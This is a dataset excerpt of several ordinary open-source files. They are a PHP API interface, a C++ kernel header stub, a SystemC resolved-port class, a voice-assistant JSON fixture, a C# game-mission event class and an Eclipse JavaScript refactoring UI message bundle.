text
stringlengths 2
100k
| meta
dict |
---|---|
<?php
namespace App\Contracts;
interface ApiController
{
/**
* Takes input and provides a response.
* This will switch between a standard JSON output and a Messenger respnse
* depending on request parameters.
*
* @param mixed $data Input data.
*
* @return Illuminate\Http\JsonResponse|App\Http\MessengerResponse
*/
public function apiResponse($data = null, $status = 200, $headers = array());
}
| {
"pile_set_name": "Github"
} |
#pragma once
#include <frg/spinlock.hpp>
namespace thor {
void initializeProcessorEarly();
inline bool intsAreEnabled() {
// TODO
return false;
}
inline void enableInts() {
// TODO
}
inline void disableInts() {
// TODO
}
inline void halt() {
asm volatile ("wfi");
}
void suspendSelf();
void sendPingIpi(int id);
} // namespace thor
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2018 Google, Inc.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met: redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer;
* redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution;
* neither the name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "base/cprintf.hh"
#include "systemc/ext/channel/messages.hh"
#include "systemc/ext/channel/sc_inout_resolved.hh"
#include "systemc/ext/channel/sc_signal_resolved.hh"
#include "systemc/ext/utils/sc_report_handler.hh"
namespace sc_core
{
sc_inout_resolved::sc_inout_resolved() : sc_inout<sc_dt::sc_logic>() {}
sc_inout_resolved::sc_inout_resolved(const char *name) :
sc_inout<sc_dt::sc_logic>(name)
{}
sc_inout_resolved::~sc_inout_resolved() {}
void
sc_inout_resolved::end_of_elaboration()
{
sc_inout<sc_dt::sc_logic>::end_of_elaboration();
if (!dynamic_cast<sc_signal_resolved *>(get_interface())) {
std::string msg = csprintf("port '%s' (%s)", name(), kind());
SC_REPORT_ERROR(SC_ID_RESOLVED_PORT_NOT_BOUND_, msg.c_str());
}
}
sc_inout_resolved &
sc_inout_resolved::operator = (const sc_dt::sc_logic &l)
{
(*this)->write(l);
return *this;
}
sc_inout_resolved &
sc_inout_resolved::operator = (const sc_signal_in_if<sc_dt::sc_logic> &i)
{
(*this)->write(i.read());
return *this;
}
sc_inout_resolved &
sc_inout_resolved::operator = (
const sc_port<sc_signal_in_if<sc_dt::sc_logic>, 1> &p)
{
(*this)->write(p->read());
return *this;
}
sc_inout_resolved &
sc_inout_resolved::operator = (
const sc_port<sc_signal_inout_if<sc_dt::sc_logic>, 1> &p)
{
(*this)->write(p->read());
return *this;
}
sc_inout_resolved &
sc_inout_resolved::operator = (const sc_inout_resolved &p)
{
(*this)->write(p->read());
return *this;
}
} // namespace sc_core
| {
"pile_set_name": "Github"
} |
{
"version": "1.0",
"sessionAttributes": {},
"response": {
"outputSpeech": {
"type": "SSML",
"ssml": "<speak>Simple Ask</speak>"
},
"reprompt": {
"outputSpeech": {
"type": "SSML",
"ssml": "<speak>Simple Ask Reprompt</speak>"
}
},
"card": {
"type": "LinkAccount"
},
"shouldEndSession": false
}
}
| {
"pile_set_name": "Github"
} |
using EddiEvents;
using System;
using System.Collections.Generic;
namespace EddiMissionMonitor
{
public class MissionRedirectedEvent : Event
{
public const string NAME = "Mission redirected";
public const string DESCRIPTION = "Triggered when a mission is redirected";
public const string SAMPLE = "{ \"timestamp\": \"2017-08-01T09:04:07Z\", \"event\": \"MissionRedirected\", \"MissionID\": 65367315, \"MissionName\":\"Mission_Courier\", \"NewDestinationStation\": \"Metcalf Orbital\", \"OldDestinationStation\": \"Cuffey Orbital\", \"NewDestinationSystem\": \"Cemiess\", \"OldDestinationSystem\": \"Vequess\" }";
public static Dictionary<string, string> VARIABLES = new Dictionary<string, string>();
static MissionRedirectedEvent()
{
VARIABLES.Add("missionid", "The ID of the mission");
VARIABLES.Add("name", "The name of the mission");
VARIABLES.Add("newdestinationstation", "The new destination station for the mission");
VARIABLES.Add("olddestinationstation", "The old destination station for the mission");
VARIABLES.Add("newdestinationsystem", "The new destination system for the mission");
VARIABLES.Add("olddestinationsystem", "The old destination system for the mission");
}
public long? missionid { get; private set; }
public string name { get; private set; }
public string newdestinationstation { get; private set; }
public string olddestinationstation { get; private set; }
public string newdestinationsystem { get; private set; }
public string olddestinationsystem { get; private set; }
public MissionRedirectedEvent(DateTime timestamp, long? missionid, string name, string newdestinationstation, string olddestinationstation, string newdestinationsystem, string olddestinationsystem) : base(timestamp, NAME)
{
this.missionid = missionid;
this.name = name;
this.newdestinationstation = newdestinationstation;
this.olddestinationstation = olddestinationstation;
this.newdestinationsystem = newdestinationsystem;
this.olddestinationsystem = olddestinationsystem;
}
}
}
| {
"pile_set_name": "Github"
} |
###############################################################################
# Copyright (c) 2000, 2011 IBM Corporation and others.
# All rights reserved. This program and the accompanying materials
# are made available under the terms of the Eclipse Public License v1.0
# which accompanies this distribution, and is available at
# http://www.eclipse.org/legal/epl-v10.html
#
# Contributors:
# IBM Corporation - initial API and implementation
###############################################################################
# NLS_ENCODING=UTF-8
# NLS_MESSAGEFORMAT_VAR
#######################################
# org.eclipse.wst.jsdt.internal.ui.refactoring
#######################################
RefactorActionGroup_no_refactoring_available= <no refactoring available>
RenameInputWizardPage_new_name= New na&me:
RenameRefactoringWizard_internal_error= An unexpected exception occurred. See the error log for more details.
#######################################
# org.eclipse.wst.jsdt.internal.ui.actions
#######################################
OpenRefactoringWizardAction_refactoring=Refactoring
OpenRefactoringWizardAction_exception=An unexpected exception occurred. See the error log for more details.
ExtractMethodAction_label=E&xtract Function...
ExtractMethodAction_dialog_title=Extract Function
SurroundWithTryCatchAction_label=Surround with tr&y/catch Block
SurroundWithTryCatchAction_dialog_title=Surround with try/catch
SurroundWithTryCatchAction_exception=An unexpected exception occurred. See the error log for more details.
SurroundWithTryCatchAction_no_exceptions=No uncaught exceptions are thrown by the selected code. Catch java.lang.RuntimeException ?
RefactoringGroup_modify_Parameters_label=&Change Function Signature...
RefactoringGroup_pull_Up_label=Pull &Up...
RefactoringGroup_move_label=&Move...
RefactoringStarter_unexpected_exception=An unexpected exception occurred. See the error log for more details.
RefactoringStarter_saving=Saving Resources
RefactoringStarter_always_save=&Always save all modified resources automatically prior to refactoring
RefactoringStarter_save_all_resources=Save Modified Resources
RefactoringStarter_must_save=Some modified resources must be saved before this operation.
RefactoringExecutionHelper_cannot_execute=The operation cannot be performed due to the following problem:\n\n{0}
#######################################
# org.eclipse.wst.jsdt.internal.ui.code
#######################################
ExtractMethodWizard_extract_method=Extract Function
ExtractMethodInputPage_access_Modifiers=&Access modifier:
ExtractMethodInputPage_public=public
ExtractMethodInputPage_default=default
ExtractMethodInputPage_protected=protected
ExtractMethodInputPage_private=private
ExtractMethodInputPage_signature_preview=Function signature preview:
ExtractMethodInputPage_description=Enter new function name and specify the function's visibility
ExtractMethodInputPage_label_text=Function &name:
ExtractMethodInputPage_parameters=&Parameters:
ExtractMethodInputPage_throwRuntimeExceptions=Declare thrown runtime e&xceptions
ExtractMethodInputPage_validation_emptyMethodName=Provide a function name
ExtractMethodInputPage_validation_emptyParameterName=Parameter names cannot be empty
ExtractMethodInputPage_duplicates_none=&Replace all occurrences of statements with function
ExtractMethodInputPage_duplicates_single=&Replace 1 occurrence of statements with function
ExtractMethodInputPage_duplicates_multi=&Replace {0} occurrences of statements with function
ExtractMethodInputPage_destination_type=Destination &type:
ExtractMethodInputPage_anonymous_type_label=new {0}() '{'...}
ExtractMethodInputPage_generateJavadocComment=Generate function &comment
InlineMethodWizard_page_title=Inline Function
#######################################
# org.eclipse.wst.jsdt.internal.ui.sef
#######################################
SelfEncapsulateField_sef=Encapsulate Var
SelfEncapsulateField_field_access=Var access in declaring type:
SelfEncapsulateField_use_setter_getter=us&e setter and getter
SelfEncapsulateField_keep_references=&keep var reference
SelfEncapsulateFieldInputPage_description=Create getting and setting functions for the var and use only those to access the var
SelfEncapsulateFieldInputPage_getter_name=&Getter name:
SelfEncapsulateFieldInputPage_setter_name=&Setter name:
SelfEncapsulateFieldInputPage_insert_after=&Insert new functions after:
SelfEncapsulateFieldInputPage_first_method=As first function
SelfEncapsulateFieldInputPage_access_Modifiers=Access modifier:
SelfEncapsulateFieldInputPage_public=&public
SelfEncapsulateFieldInputPage_default=defa&ult
SelfEncapsulateFieldInputPage_protected=pro&tected
SelfEncapsulateFieldInputPage_private=pri&vate
SelfEncapsulateFieldInputPage_generateJavadocComment=Generate function &comments
SelfEncapsulateFieldInputPage_useexistingsetter_label=(using existing setter)
SelfEncapsulateFieldInputPage_useexistinggetter_label=(using existing getter)
SelfEncapsulateFieldInputPage_usenewgetter_label=(new setter created)
SelfEncapsulateFieldInputPage_usenewsetter_label=(new getter created)
#######################################
# Misc
#######################################
ExtractTempWizard_defaultPageTitle=Extract Local Variable
ExtractTempInputPage_enter_name=Enter a name for the new local variable
ExtractTempInputPage_variable_name=&Variable name:
ExtractTempInputPage_replace_all=&Replace all occurrences of the selected expression with references to the local variable
ExtractTempInputPage_declare_final=&Declare the local variable as \'final\'
ExtractTempInputPage_signature_preview=Signature Preview:
ExtractTempInputPage_extract_local=Extract local variable
ExtractTempInputPage_exception=An unexpected exception occurred. See the error log for more details
ExtractConstantInputPage_enter_name=Enter a name for the new constant
ExtractConstantInputPage_constant_name=&Constant name:
ExtractConstantInputPage_replace_all=&Replace all occurrences of the selected expression with references to the constant
ExtractConstantInputPage_qualify_constant_references_with_class_name=&Qualify constant references with type name
ExtractConstantInputPage_signature_preview=Signature Preview:
ExtractConstantInputPage_exception=An unexpected exception occurred. See the error log for more details
ExtractConstantInputPage_access_modifiers=Access modifier:
ExtractConstantInputPage_selection_refers_to_nonfinal_fields=The selected expression refers to non-final or non-static vars
PromoteTempInputPage_description=Select visibility and name for the new var
MoveMembersWizard_page_title=Move Static Members
RenameInputWizardPage_update_references=Update &references
RenameInputWizardPage_update_textual_matches=Update &textual occurrences in comments and strings (forces preview)
RenameInputWizardPage_update_qualified_names=Update fully &qualified names in non-JavaScript text files (forces preview)
PullUpInputPage_select_methods=Select the functions to be removed in subclasses.
PullUpInputPage_pull_Up=Pull Up
PullUpInputPage_pull_up1=Pull Up Functions
PullUpInputPage_exception=An unexpected exception occurred. See the error log for more details
ExtractTempAction_label=Extract &Local Variable...
ExtractTempAction_extract_temp=Extract Local Variable
ConvertLocalToField_label=Con&vert Local Variable to Var...
ConvertLocalToField_title=Convert Local Variable to Var
ExtractConstantAction_label=Extr&act Constant...
ExtractSuperTypeAction_label=Ex&tract Superclass...
ExtractConstantAction_extract_constant=Extract Constant
InlineTempAction_inline_temp=Inline Local Variable
InlineTempAction_label=&Inline Local Variable...
RenameAction_rename=Rename
RenameAction_unavailable=Operation unavailable on the current selection.\n\nSelect a javaScript project, source folder, resource, or a JavaScript file, or a non-readonly type, var, function, parameter, local variable, or type variable.
RenameAction_text=Re&name...
NewTextRefactoringAction_exception=An unexpected exception occurred. See the error log for more details
RenameEnumConstWizard_defaultPageTitle=Rename Enum Constant
RenameEnumConstWizard_inputPage_description=Enter the new name for this constant.
RenameFieldWizard_defaultPageTitle=Rename Var
RenameFieldWizard_inputPage_description=Enter the new name for this var.
RenameFieldInputWizardPage_rename_getter=Rename &getter function
RenameFieldInputWizardPage_rename_getter_to=Rename &getter: ''{0}'' to ''{1}''
RenameFieldInputWizardPage_rename_setter=Rename &setter function
RenameFieldInputWizardPage_rename_setter_to=Rename &setter: ''{0}'' to ''{1}''
RenameFieldInputWizardPage_setter_label={0} ({1})
RenameFieldInputWizardPage_getter_label={0} ({1})
MoveMembersInputPage_descriptionKey={0} member(s) from ''{1}''
MoveMembersInputPage_destination_single=Destination &type for ''{0}'':
MoveMembersInputPage_destination_multi=Destination &type for {0} selected elements:
MoveMembersInputPage_browse=&Browse...
MoveMembersInputPage_move_Member=Move Member
MoveMembersInputPage_exception=An unexpected exception occurred. See the error log for more details
MoveMembersInputPage_choose_Type=Choose Type
MoveMembersInputPage_dialogMessage=&Choose a type (? = any character, * = any string):
MoveMembersInputPage_upperListLabel=&Matching types:
MoveMembersInputPage_lowerListLabel=&Qualifier:
MoveMembersInputPage_not_found=Destination type does not exist (fully qualified type name expected)
MoveMembersInputPage_invalid_name=Invalid Type Name
MoveMembersInputPage_Invalid_selection=Invalid selection
MoveMembersInputPage_no_binary=Cannot move members to binary types
MoveMembersInputPage_internal_error=An unexpected exception occurred. See the error log for more details.
MoveMembersInputPage_move=Move Members
RenameJavaElementAction_exception=An unexpected exception occurred. See the error log for more details
RenameJavaElementAction_not_available=Operation unavailable on the current selection.\nSelect a javaScript project, source folder, resource, package, JavaScript file, type, var, function, parameter or a local variable
RenameJavaElementAction_name=Rename
MoveAction_text=&Move...
QualifiedNameComponent_patterns_label=File name &patterns:
QualifiedNameComponent_patterns_description= The patterns are separated by commas (* = any string, ? = any character)
DelegateCreator_deprecate_delegates=Mark as &deprecated
PullUpInputPage_hierarchyLabal={0} function(s) selected
PullUpInputPage_see_log=An unexpected exception occurred. See the error log for more details
##Change Signature
ChangeSignatureInputPage_change=Change the signature of the selected function and all its overriding functions.
ChangeSignatureInputPage_access_modifier=A&ccess modifier:
ChangeSignatureInputPage_default=default
ChangeSignatureInputPage_return_type=Return &type:
ChangeSignatureInputPage_method_name=Function &name:
ChangeSignatureInputPage_parameters=Pa&rameters
ChangeSignatureInputPage_exceptions=E&xceptions
ChangeSignatureInputPage_method_Signature_Preview=Function signature preview:
ChangeSignatureInputPage_exception=An unexpected exception occurred. See the error log for more details
ChangeSignatureInputPage_unchanged=Function signature is unchanged.
ChangeSignatureInputPage_Internal_Error=An unexpected exception occurred. See the error log for more details.
ChangeSignatureInputPage_Change_Signature=Change Signature
ChangeSignatureRefactoring_modify_Parameters=Change Function Signature
RenameTempAction_exception=An unexpected exception occurred. See the error log for more details
ModifyParametersAction_unavailable=To activate this refactoring, please select the name of a function. Binary functions and annotation elements are not supported.
OpenRefactoringWizardAction_unavailable=Operation Unavailable
PullUpAction_unavailable=To activate this refactoring, select a top-level type or the name of a non-binary instance function or var.
MoveMembersAction_unavailable=To activate this refactoring, please select the name of a non-binary static function or var.
PullUpInputPage_subtypes=&Subtypes of type ''{0}''
MoveMembersAction_error_title=Refactoring
MoveMembersAction_error_message=Cannot perform operation.
RefactoringErrorDialogUtil_okToPerformQuestion=\n\nOK to perform the operation on this function?
ChangeParametersControl_table_type=Type
ChangeParametersControl_table_name=Name
ChangeParametersControl_new=new
ChangeParametersControl_default=default
ChangeParametersControl_type=type
ChangeParametersControl_table_defaultValue=Default value
ChangeParametersControl_new_parameter_default_name=newParam
ChangeParametersControl_buttons_move_up=&Up
ChangeParametersControl_buttons_move_down=D&own
ChangeParametersControl_buttons_edit=&Edit...
ChangeParametersControl_buttons_add=&Add
ChangeParametersControl_buttons_remove=Re&move
ChangeExceptionsControl_buttons_add=&Add...
ChangeExceptionsControl_buttons_remove=Re&move
ChangeExceptionsControl_choose_title=Add Exception
ChangeExceptionsControl_choose_message=&Choose an Exception (? = any character, * = any string):
ChangeExceptionsControl_not_exception=Not an Exception
ChangeExceptionHandler_undo_button=Undo
ChangeExceptionHandler_abort_button=Abort
ChangeExceptionHandler_message=\n Click 'Undo' to undo all successfully executed changes of the current refactoring.\n Click 'Abort' to abort the current refactoring.
ChangeExceptionHandler_dialog_title=Refactoring
ChangeExceptionHandler_status_without_detail=Exception does not provide a detail message
ChangeExceptionHandler_undo_dialog_title=Undo Refactoring
ChangeExceptionHandler_undo_dialog_message=An unexpected exception occurred while undoing the refactoring
ChangeExceptionHandler_dialog_message=An exception has been caught while processing the refactoring ''{0}''.
ParameterEditDialog_title=Function Parameter
ParameterEditDialog_message_new=Declaration of Parameter:
ParameterEditDialog_message=Declaration of Parameter ''{0}'':
ParameterEditDialog_type=&Type:
ParameterEditDialog_type_error=Type name must not be empty.
ParameterEditDialog_name=&Name:
ParameterEditDialog_name_error= Parameter name must not be empty.
ParameterEditDialog_defaultValue=&Default value:
ParameterEditDialog_defaultValue_error= Default value must not be empty.
ParameterEditDialog_defaultValue_invalid=''{0}'' is not a valid expression.
InlineTempWizard_defaultPageTitle= Inline Local Variable
InlineTempInputPage_message_one= Inline 1 occurrence of local variable ''{0}'' ?
InlineTempInputPage_message_multi= Inline {0} occurrences of local variable ''{1}'' ?
InlineTempInputPage_message_zero=Inline 0 occurrences of local variable ''{0}'' ?\n\nSince no references have been found, the variable declaration will simply be removed.
ConvertAnonymousToNestedInputPage_description=Select the name and modifiers for the new nested type
ConvertAnonymousToNestedInputPage_class_name=Type &name:
ConvertAnonymousToNestedInputPage_declare_final=Declare the nested type as \'&final\'
ConvertAnonymousToNestedInputPage_declare_static=Declare the nested type as \'&static\'
ExtractConstantWizard_defaultPageTitle=Extract Constant
ExtractConstantInputPage_Internal_Error=An unexpected exception occurred. See the error log for more details.
ExtractSupertypeWizard_defaultPageTitle=Extract Superclass
ExtractSupertypeMemberPage_page_title=Select the members to extract to the new type.
ExtractSupertypeMemberPage_name_label=&Superclass name:
ExtractSupertypeMemberPage_create_stubs_label=&Create necessary functions stubs in non-abstract subtypes of the extracted type
ExtractSupertypeMemberPage_types_list_caption=&Types to extract a superclass from:
ExtractSupertypeMemberPage_extract_supertype=Extract Superclass
ExtractSupertypeMemberPage_extract=extract
ExtractSupertypeMemberPage_add_button_label=A&dd...
ExtractSupertypeMemberPage_declare_abstract=declare abstract in superclass
ExtractSupertypeMemberPage_use_supertype_label=&Use the extracted class in 'instanceof' expressions
ExtractSupertypeMemberPage_remove_button_label=Re&move
ExtractSupertypeMemberPage_choose_type_caption=Choose Types
ExtractSupertypeMemberPage_choose_type_message=Choose types where to extract the new superclass from:
ExtractSupertypeMemberPage_no_members_selected=No members selected to extract or declare abstract
ExtractSupertypeMemberPage_use_instanceof_label=Use the &extracted class where possible
ExtractInterfaceInputPage_description=Select the name for the new interface and select the members that will be declared in the interface.
ExtractInterfaceInputPage_Interface_name=&Interface name:
ExtractInterfaceInputPage_Members=&Members to declare in the interface:
ExtractInterfaceInputPage_Extract_Interface=Extract Interface
ExtractInterfaceInputPage_Internal_Error=An unexpected exception occurred. See the error log for more details.
ExtractInterfaceInputPage_Select_All=Select &All
ExtractInterfaceInputPage_Deselect_All=&Deselect All
ExtractInterfaceInputPage_change_references=Use the extracted interface &type where possible
ExtractInterfaceWizard_Extract_Interface=Extract Interface
ExtractInterfaceWizard_generate_comments=Generate function &comments
ExtractInterfaceWizard_use_supertype=&Use the extracted interface in \'instanceof\' expressions
ExtractInterfaceWizard_public_label=&public
ExtractInterfaceWizard_abstract_label=a&bstract
InlineConstantInputPage_Inline=Inline
InlineConstantInputPage_All_references=&All references
InlineConstantInputPage_Delete_constant=&Delete constant declaration
InlineConstantInputPage_Only_selected=&Only the selected reference
InlineConstantWizard_message=Specify where to inline references to the constant.
InlineConstantWizard_Inline_Constant=Inline Constant
InlineConstantWizard_initializer_refers_to_fields=This constant\'s initializer refers to non-final or non-static vars
MoveInnerToTopWizard_Move_Inner=Convert Member Type to Top Level
MoveInnerToToplnputPage_description=Specify a name for the var that will be used to access the enclosing instance
MoveInnerToToplnputPage_instance_final=&Declare instance var as \'final\'
MoveInnerToToplnputPage_optional_info=Choose a name to optionally create an enclosing instance var.
MoveInnerToToplnputPage_mandatory_info=Choose a name for the enclosing instance var.
MoveInnerToToplnputPage_enter_name_mandatory=Enclosing instance var &name:
MoveInnerToToplnputPage_enter_name=Enclosing instance var &name (optional):
MoveInstanceMethodWizard_Move_Method=Move Function
MoveInstanceMethodPage_Target_name=New ¶meter name:
MoveInstanceMethodPage_Method_name=New &function name:
MoveInstanceMethodPage_New_receiver=&New target for ''{0}'':
MoveInstanceMethodPage_Name=Name
MoveInstanceMethodPage_Type=Type
MoveInstanceMethodPage_Create_button_name=&Keep original function as delegate to moved function
MoveInstanceMethodPage_Deprecate_button_name=Mark as &deprecated
MoveInstanceMethodPage_invalid_target=Target ''{0}'' is used in an assignment.
PromoteTempInputPage_Field_declaration=Var decla&ration
PromoteTempInputPage_Current_method=&Current function
PromoteTempInputPage_constructors=C&lass constructor(s)
PromoteTempInputPage_Field_name=F&ield name:
PromoteTempInputPage_Initialize=Initialize in
PromoteTempInputPage_declare_static=D&eclare var as \'static\'
PromoteTempInputPage_declare_final=Decl&are var as \'final\'
UseSupertypeInputPage_Select_supertype=Select the supertype to use
UseSupertypeInputPage_Use_in_instanceof=&Use the selected supertype in \'instanceof\' expressions
UseSupertypeInputPage_Select_supertype_to_use=&Select supertype to use instead of ''{0}'':
UseSupertypeInputPage_No_updates=No updates possible for the selected supertype
UseSupertypeInputPage_Use_Supertype=Use Supertype
UseSupertypeInputPage_Internal_Error=An unexpected exception occurred. See the error log for more details.
UseSupertypeInputPage_no_possible_updates={0} - no possible updates found
UseSupertypeInputPage_updates_possible_in_file={0} - updates possible in 1 file
UseSupertypeInputPage_updates_possible_in_files={0} - updates possible in {1} files
UseSupertypeWizard_Use_Super_Type_Where_Possible=Use Super Type Where Possible
VisibilityControlUtil_Access_modifier=Access modifier
VisibilityControlUtil_defa_ult_4=d&efault
VisibilityControlUtil_final=&final
VisibilityControlUtil_synchronized=s&ynchronized
PullUpWizard_defaultPageTitle=Pull Up
PullUpWizard_select_all_label=Select &All
PullUpWizard_deselect_all_label=Dese&lect All
PullUpInputPage1_pull_up=pull up
PullUpInputPage1_declare_abstract=declare abstract in destination
PullUpInputPage1_Create_stubs=&Create necessary functions stubs in non-abstract subtypes of the destination type
PullUpInputPage1_Select_destination=&Select destination type:
PullUpInputPage1_Specify_actions=S&pecify actions for members:
PullUpInputPage1_Edit=Set Act&ion...
PullUpInputPage1_Add_Required=Add &Required
PullUpInputPage1_Edit_members=Set Action
PullUpInputPage1_Mark_selected_members=&Action for selected member(s):
PullUpInputPage1_label_use_destination=Use the d&estination type where possible
PullUpInputPage1_Member=Member
PullUpInputPage1_Action=Action
PullUpInputPage1_Select_members_to_pull_up=No members selected to pull up or declare abstract
PullUpInputPage1_label_use_in_instanceof=&Use the destination type in 'instanceof' expressions
PullUpInputPage1_page_message=Select the destination type and the members to pull up.
PullUpInputPage1_status_line={0} member(s) selected.
PullUpInputPage2_Select=Restore &Defaults
PullUpInputPage2_Source=Source
PushDownWizard_defaultPageTitle= Push Down
PushDownInputPage_leave_abstract=leave abstract declaration
PushDownInputPage_push_down=push down
PushDownInputPage_Specify_actions=&Specify actions for members:
PushDownInputPage_Member=Member
PushDownInputPage_Action=Action
PushDownInputPage_Edit=Se&t Action...
PushDownInputPage_Add_Required=Add &Required
PushDownInputPage_Push_Down=Push Down
PushDownInputPage_Internal_Error=An unexpected exception occurred. See the error log for more details.
PushDownInputPage_Edit_members=Set Action
PushDownInputPage_Mark_selected_members=&Action for selected member(s):
PushDownInputPage_Select_members_to_push_down=No members selected to push down or declare abstract
PushDownInputPage_status_line={0} member(s) selected.
MoveInstanceMethodAction_dialog_title=Move Function
MoveInstanceMethodAction_Move_Method=Move Function...
MoveInstanceMethodAction_unexpected_exception=An unexpected exception occurred. See the error log for more details
MoveInstanceMethodAction_No_reference_or_declaration=No function reference or declaration selected.
InlineConstantAction_dialog_title=Inline Constant
InlineConstantAction_inline_Constant=Inline &Constant...
InlineConstantAction_unexpected_exception=An unexpected exception occurred. See the error log for more details
InlineConstantAction_no_constant_reference_or_declaration=No constant reference or declaration selected.
InlineMethodInputPage_description=Specify where to inline the function invocation.
InlineMethodInputPage_inline=Inline
InlineMethodInputPage_all_invocations=&All invocations
InlineMethodInputPage_delete_declaration=&Delete function declaration
InlineMethodInputPage_only_selected=&Only the selected invocation
InlineMethodAction_dialog_title=Inline Function
InlineMethodAction_inline_Method=I&nline Function...
InlineMethodAction_unexpected_exception=An unexpected exception occurred. See the error log for more details
InlineMethodAction_no_method_invocation_or_declaration_selected=No function invocation or declaration selected.
UseSupertypeAction_use_Supertype=Use Supertype W&here Possible...
UseSupertypeAction_to_activate=To activate this refactoring, please select the name of a type.
UseSupertypeAction_Refactoring=Refactoring
UseSupertypeAction_not_possible=Cannot perform operation.
PushDownAction_Push_Down=Push &Down...
PushDownAction_To_activate=To activate this refactoring, please select the name of a non-binary instance function or var.
PushDownAction_Refactoring=Refactoring
PushDownAction_not_possible=Cannot perform operation.
MoveAction_Move=Move
MoveAction_select=Select a static function, a static var or an instance function that can be moved to a component (parameter or var).
InlineAction_Inline=&Inline...
InlineAction_dialog_title=Inline
InlineAction_select=Select a function declaration, a function invocation, a static final var or a local variable that you want to inline.
ExtractInterfaceAction_Extract_Interface=&Extract Interface...
ExtractInterfaceAction_To_activate=To activate this refactoring, please select the name of a top level type.
ExtractInterfaceAction_Refactoring=Refactoring
ExtractSuperTypeAction_unavailable=To activate this refactoring, please select a top-level type or the name of a non-binary instance function or var.
ExtractInterfaceAction_not_possible=Cannot perform operation.
ConvertNestedToTopAction_Convert=Con&vert Member Type to Top Level
ConvertNestedToTopAction_To_activate=To activate this refactoring, please select the name of a member type.
ConvertNestedToTopAction_Refactoring=Refactoring
ConvertNestedToTopAction_not_possible=Cannot perform operation.
ConvertAnonymousToNestedAction_dialog_title=Convert Anonymous Class to Nested Class
ConvertAnonymousToNestedAction_Convert_Anonymous=C&onvert Anonymous Class to Nested...
ConvertAnonymousToNestedAction_wizard_title=Convert Anonymous Class to Nested Class
###################### Temporary Participant Keys #################################
RenameResourceWizard_defaultPageTitle=Rename Resource
RenameResourceWizard_inputPage_description=Enter the new name for this resource.
RenameJavaProject_defaultPageTitle=Rename JavaScript Project
RenameJavaProject_inputPage_description=Enter the new name for this JavaScript project.
RenameSourceFolder_defaultPageTitle=Rename Source Folder
RenameSourceFolder_inputPage_description=Enter the new name for this source folder.
RenamePackageWizard_defaultPageTitle=Rename Package
RenamePackageWizard_inputPage_description=Enter the new name for this package.
RenamePackageWizard_rename_subpackages=Rename &subpackages
RenameCuWizard_defaultPageTitle= Rename JavaScript file
RenameCuWizard_inputPage_description= Enter the new name for this JavaScript file.
RenameTypeParameterWizard_defaultPageTitle=Rename Type Variable
RenameTypeParameterWizard_inputPage_description=Enter the new name for this type variable.
RenameMethodWizard_defaultPageTitle=Rename Function
RenameMethodWizard_inputPage_description= Enter the new name for this function.
RenameLocalVariableWizard_defaultPageTitle=Rename Local Variable
RenameLocalVariableWizard_inputPage_description=Enter the new name for this local variable.
ExtractInterfaceWizard_12=Declare interface functions as ''{0}''
ParameterEditDialog_type_invalid=''{0}'' is not a valid parameter type name.
UseSupertypeWizard_10=No updates are possible for the supertypes
DeleteWizard_1=Confirm Delete
DeleteWizard_2=An unexpected exception occurred. See the error log for more details.
DeleteWizard_3=Are you sure you want to delete linked resource ''{0}''?\nOnly the workspace link will be deleted. Link target will remain unchanged.
DeleteWizard_4=Are you sure you want to delete {0}?
DeleteWizard_5=Are you sure you want to delete linked resource ''{0}''?\nOnly the workspace link will be deleted. Link target will remain unchanged.
DeleteWizard_6=Are you sure you want to delete linked resource ''{0}''?\nOnly the workspace link will be deleted. Link target will remain unchanged.\n\nNote that all subelements of the selected linked packages and package fragment roots will be removed from the workspace.
DeleteWizard_7=Are you sure you want to delete linked resource ''{0}''?\nOnly the workspace link will be deleted. Link target will remain unchanged.
DeleteWizard_8=Are you sure you want to delete {0}?
DeleteWizard_9=Are you sure you want to delete these {0} elements?
DeleteWizard_10=Are you sure you want to delete these {0} elements?\n\nSelection contains linked resources.\nOnly the workspace links will be deleted. Link targets will remain unchanged.
DeleteWizard_11=Are you sure you want to delete these {0} elements?\n\nSelection contains linked packages.\nOnly the workspace links will be deleted. Link targets will remain unchanged.\n\nNote that all subelements of linked packages and package fragment roots will be removed from the workspace.
DeleteWizard_12=The selected element(s) do not exist anymore and cannot be deleted.
DeleteWizard_also_delete_sub_packages=Delete &subpackages of selected packages
#####################################
# Rename Type
#####################################
RenameTypeWizard_defaultPageTitle= Rename Type
RenameTypeWizard_unexpected_exception=An unexpected exception occurred. See the error log for more details
RenameTypeWizardInputPage_description=Enter the new name for this type.
RenameTypeWizardInputPage_update_similar_elements=Update &similarly named variables and functions
RenameTypeWizardInputPage_update_similar_elements_configure=<a>&Configure...</a>
RenameTypeWizardSimilarElementsPage_name_empty=Please enter a name.
RenameTypeWizardSimilarElementsPage_rename_to=Rename ''{0}'' to ''{1}''
RenameTypeWizardSimilarElementsPage_change_element_name=Change Element Name
RenameTypeWizardSimilarElementsPage_enter_new_name=Enter a new name for the selected element:
RenameTypeWizardSimilarElementsPage_field_exists=A var with this name already exists in the file.
RenameTypeWizardSimilarElementsPage_method_exists=A function with this name already exists in the file.
RenameTypeWizardSimilarElementsPage_restore_defaults=Restore &Defaults
RenameTypeWizardSimilarElementsPage_change_name=&Change Name...
